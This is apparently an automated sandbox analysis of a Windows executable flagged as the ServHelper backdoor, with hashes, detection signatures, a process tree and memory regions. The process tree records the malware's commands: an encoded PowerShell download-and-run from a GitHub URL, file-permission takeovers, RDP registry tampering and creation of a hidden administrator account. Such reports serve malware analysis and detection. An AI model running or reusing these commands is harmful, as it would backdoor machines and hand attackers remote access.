Analysis

  • max time kernel
    127s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    12-07-2021 09:06

General

  • Target

    4c1063d9a1324655008a22a6d558b2dc.exe

  • Size

    3.1MB

  • MD5

    4c1063d9a1324655008a22a6d558b2dc

  • SHA1

    ddecd8b6ddf3a60d841663ab58fdcfea02299d09

  • SHA256

    91d8870ce872fc1d99181a961e4b3735152e7aa77b714b015efd594fd923eea2

  • SHA512

    c7cd30fd24347d4a1f86a4bcef2472d2d6286970d5712d158333519a8fe69d87e6ef0df1f688f5372eead87b167f6f1f86b80510dfc35b2b01cc160feffe26cf

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Core1 .NET packer 1 IoCs

    Detects packer/loader used by .NET malware.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4c1063d9a1324655008a22a6d558b2dc.exe
    "C:\Users\Admin\AppData\Local\Temp\4c1063d9a1324655008a22a6d558b2dc.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1268
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1532
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        3⤵
        • Deletes itself
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:980
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tyjjs42q\tyjjs42q.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1160
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES227E.tmp" "c:\Users\Admin\AppData\Local\Temp\tyjjs42q\CSC8D0C11378938440C8BA9A4369D473C4.TMP"
            5⤵
              PID:936
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:656
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1876
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1256
          • C:\Windows\system32\takeown.exe
            "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:292
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1628
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            • Suspicious use of AdjustPrivilegeToken
            PID:1080
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:940
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1604
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1284
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1684
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:636
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            4⤵
              PID:1444
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              4⤵
              • Modifies registry key
              PID:2028
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              4⤵
                PID:436
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:572
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                    5⤵
                      PID:1384
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                    4⤵
                      PID:840
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start rdpdr
                        5⤵
                          PID:292
                          • C:\Windows\system32\net.exe
                            net start rdpdr
                            6⤵
                              PID:1628
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start rdpdr
                                7⤵
                                  PID:1708
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                            4⤵
                              PID:1496
                              • C:\Windows\system32\cmd.exe
                                cmd /c net start TermService
                                5⤵
                                  PID:1372
                                  • C:\Windows\system32\net.exe
                                    net start TermService
                                    6⤵
                                      PID:1604
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 start TermService
                                        7⤵
                                          PID:1096
                                  • C:\Windows\system32\cmd.exe
                                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                                    4⤵
                                      PID:1640
                                    • C:\Windows\system32\cmd.exe
                                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                                      4⤵
                                        PID:588
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc 000000 /del
                                  1⤵
                                    PID:320
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc 000000 /del
                                      2⤵
                                        PID:1720
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                          3⤵
                                            PID:572
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe user WgaUtilAcc UDI3KSdU /add
                                        1⤵
                                          PID:1356
                                          • C:\Windows\system32\net.exe
                                            net.exe user WgaUtilAcc UDI3KSdU /add
                                            2⤵
                                              PID:292
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 user WgaUtilAcc UDI3KSdU /add
                                                3⤵
                                                  PID:940
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                              1⤵
                                                PID:728
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                  2⤵
                                                    PID:1328
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                      3⤵
                                                        PID:1696
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                    1⤵
                                                      PID:840
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                        2⤵
                                                          PID:2012
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                            3⤵
                                                              PID:956
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                          1⤵
                                                            PID:1256
                                                            • C:\Windows\system32\net.exe
                                                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                              2⤵
                                                                PID:1720
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                                  3⤵
                                                                    PID:1676
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd /C net.exe user WgaUtilAcc UDI3KSdU
                                                                1⤵
                                                                  PID:1628
                                                                  • C:\Windows\system32\net.exe
                                                                    net.exe user WgaUtilAcc UDI3KSdU
                                                                    2⤵
                                                                      PID:292
                                                                      • C:\Windows\system32\net1.exe
                                                                        C:\Windows\system32\net1 user WgaUtilAcc UDI3KSdU
                                                                        3⤵
                                                                          PID:1376
                                                                    • C:\Windows\System32\cmd.exe
                                                                      cmd.exe /C wmic path win32_VideoController get name
                                                                      1⤵
                                                                        PID:1468
                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                          wmic path win32_VideoController get name
                                                                          2⤵
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:1548
                                                                      • C:\Windows\System32\cmd.exe
                                                                        cmd.exe /C wmic CPU get NAME
                                                                        1⤵
                                                                          PID:2012
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                            wmic CPU get NAME
                                                                            2⤵
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1628
                                                                        • C:\Windows\System32\cmd.exe
                                                                          cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                          1⤵
                                                                            PID:436
                                                                            • C:\Windows\system32\cmd.exe
                                                                              cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                              2⤵
                                                                                PID:1876
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                                  3⤵
                                                                                  • Blocklisted process makes network request
                                                                                  • Drops file in Windows directory
                                                                                  • Modifies data under HKEY_USERS
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:540

                                                                            Network

                                                                            MITRE ATT&CK Enterprise v6

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            • memory/540-244-0x000000001957A000-0x0000000019599000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/540-214-0x0000000019574000-0x0000000019576000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/540-213-0x0000000019570000-0x0000000019572000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/656-117-0x000000001B7B0000-0x000000001B7B1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/656-110-0x0000000002750000-0x0000000002751000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/656-104-0x000000001ABD0000-0x000000001ABD2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/656-105-0x000000001ABD4000-0x000000001ABD6000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/656-106-0x0000000002600000-0x0000000002601000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/656-108-0x000000001B620000-0x000000001B621000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/656-131-0x000000001B540000-0x000000001B541000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/656-111-0x0000000002490000-0x0000000002491000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/656-130-0x000000001B530000-0x000000001B531000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/980-80-0x0000000002450000-0x0000000002451000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/980-79-0x000000001AC20000-0x000000001AC21000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/980-85-0x000000001AAB0000-0x000000001AAB1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/980-83-0x000000001ABA4000-0x000000001ABA6000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/980-82-0x000000001ABA0000-0x000000001ABA2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/980-81-0x0000000002480000-0x0000000002481000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/980-97-0x000000001B770000-0x000000001B771000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/980-112-0x000000001ABAA000-0x000000001ABC9000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/980-95-0x000000001B6F0000-0x000000001B6F1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/980-93-0x00000000024A0000-0x00000000024A1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/980-78-0x0000000002370000-0x0000000002371000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/980-77-0x000007FEFB991000-0x000007FEFB993000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/980-96-0x000000001C360000-0x000000001C361000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1256-161-0x000000001AC04000-0x000000001AC06000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1256-160-0x000000001AC00000-0x000000001AC02000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1268-65-0x0000000000570000-0x0000000000571000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1268-59-0x000000013F3C0000-0x000000013F3C1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1268-64-0x0000000000560000-0x0000000000570000-memory.dmp

                                                                              Filesize

                                                                              64KB

                                                                            • memory/1268-63-0x000000001D110000-0x000000001D5B5000-memory.dmp

                                                                              Filesize

                                                                              4.6MB

                                                                            • memory/1268-62-0x000000001BBB0000-0x000000001BBB2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1268-61-0x000000001C030000-0x000000001C661000-memory.dmp

                                                                              Filesize

                                                                              6.2MB

                                                                            • memory/1268-66-0x000000001E1C0000-0x000000001E64D000-memory.dmp

                                                                              Filesize

                                                                              4.6MB

                                                                            • memory/1532-67-0x0000000000400000-0x00000000008DB000-memory.dmp

                                                                              Filesize

                                                                              4.9MB

                                                                            • memory/1532-68-0x0000000000400000-0x00000000008DB000-memory.dmp

                                                                              Filesize

                                                                              4.9MB

                                                                            • memory/1532-69-0x0000000040CD2000-0x0000000040CD4000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1532-70-0x0000000041000000-0x00000000412AA000-memory.dmp

                                                                              Filesize

                                                                              2.7MB

                                                                            • memory/1532-73-0x0000000040CD6000-0x0000000040CD7000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1532-72-0x0000000040CD4000-0x0000000040CD6000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1532-74-0x0000000040CD7000-0x0000000040CD8000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1532-75-0x0000000040CDC000-0x0000000040CFB000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/1876-144-0x000000001AC60000-0x000000001AC62000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1876-145-0x000000001AC64000-0x000000001AC66000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1876-143-0x0000000001F20000-0x0000000001F21000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1876-142-0x00000000026C0000-0x00000000026C1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1876-140-0x000000001B590000-0x000000001B591000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1876-138-0x0000000002500000-0x0000000002501000-memory.dmp

                                                                              Filesize

                                                                              4KB